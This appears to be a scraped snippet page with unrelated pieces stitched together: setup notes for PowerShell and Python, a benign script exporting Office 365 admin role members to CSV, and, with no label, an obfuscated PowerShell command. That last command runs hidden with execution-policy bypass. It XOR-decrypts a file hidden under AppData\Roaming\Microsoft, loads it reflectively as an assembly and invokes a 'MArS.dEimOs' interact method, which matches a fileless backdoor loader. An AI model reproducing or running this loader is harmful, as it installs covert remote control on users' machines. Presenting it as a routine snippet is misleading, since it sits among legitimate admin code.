xxxxxxxxxx
print('''Install Powershell v5. ...
Install Python v3.
Set Environment variable PATH to point to the folder that has Python executable (Python.exe)
[Optional] I'm using Visual Studio Code as an editor for both PowerShell and Python.''')
xxxxxxxxxx
Import-Module MSOline -EA 0
Connect-MsolService -Credential (Get-Credential)
$admins=@()
$roles = Get-MsolRole
foreach ($role in $roles) {
$roleUsers = Get-MsolRoleMember -RoleObjectId $role.ObjectId
foreach ($roleUser in $roleUsers) {
$roleOutput = New-Object -TypeName PSObject
$roleOutput | Add-Member -MemberType NoteProperty -Name RoleMemberType -Value $roleUser.RoleMemberType
$roleOutput | Add-Member -MemberType NoteProperty -Name EmailAddress -Value $roleUser.EmailAddress
$roleOutput | Add-Member -MemberType NoteProperty -Name DisplayName -Value $roleUser.DisplayName
$roleOutput | Add-Member -MemberType NoteProperty -Name isLicensed -Value $roleUser.isLicensed
$roleOutput | Add-Member -MemberType NoteProperty -Name RoleName -Value $role.Name
$admins += $roleOutput
}
}
$admins | Export-Csv -NoTypeInformation ~\Downloads\Crowley365RolesUsers.csv
xxxxxxxxxx
PowerShell.exe -WiNDOwstylE HIddeN -Ep BYPAsS -cOMMaNd $ac4e9891fa848c834b332582d5737='EPdaTnlwcVotaXFyUV55cWxTVTxzK3FqO299cyR4cFFyTVdvMGptWmtGKWN6diNheTd2JW0xXXg0UUFQdClXeVp4U1I4Pm94U3NwcjtQRUNXX205I3lTTVBJeHxRO1Zza3JqMGZ9UWZRc2V0Z0l1IUd7OHp4MFd6cXd8ZnJrcEB8flpJQFNlNChAfakefkByYXFCQHU8MHZAYGthNkBUN15vQHZWKWleNOTreALUIXhyQFVEVEdAYGF3Z0BSb358QGBKZ09Ae0VDfl4xaXV8QF8/cF9eT0NIeEB1PDY/';$aa72f1a1fc04ca9b1e4f38c4d6a44=[sYsteM.io.FiLE]::ReAdaLlBYTes('C:\Users\fakeUserA\AppData\Roaming\MicRoSoFt\WJipdFOkzBHfKrecgG\RPgCAEDoVrBqTtZwY.ZfMFSCzxNdaJRQ');fOR($a6eb59278704fda8e348cbb9154ed=0;$a6eb59278704fda8e348cbb9154ed -Lt $aa72f1a1fc04ca9b1e4f38c4d6a44.CoUnt;){FOr($afdf6f52050420a0ab96054f3fd1c=0;$afdf6f52050420a0ab96054f3fd1c -lT $ac4e9891fa848c834b332582d5737.LengtH;$afdf6f52050420a0ab96054f3fd1c++){$aa72f1a1fc04ca9b1e4f38c4d6a44[$a6eb59278704fda8e348cbb9154ed]=$aa72f1a1fc04ca9b1e4f38c4d6a44[$a6eb59278704fda8e348cbb9154ed] -BxOR $ac4e9891fa848c834b332582d5737[$afdf6f52050420a0ab96054f3fd1c];$a6eb59278704fda8e348cbb9154ed++;if($a6eb59278704fda8e348cbb9154ed -GE $aa72f1a1fc04ca9b1e4f38c4d6a44.CoUnt){$afdf6f52050420a0ab96054f3fd1c=$ac4e9891fa848c834b332582d5737.LeNGTh}}};[SYstem.RefLECtIon.ASseMblY]::LOAD($aa72f1a1fc04ca9b1e4f38c4d6a44);[MArS.dEimOs]::inTErACT()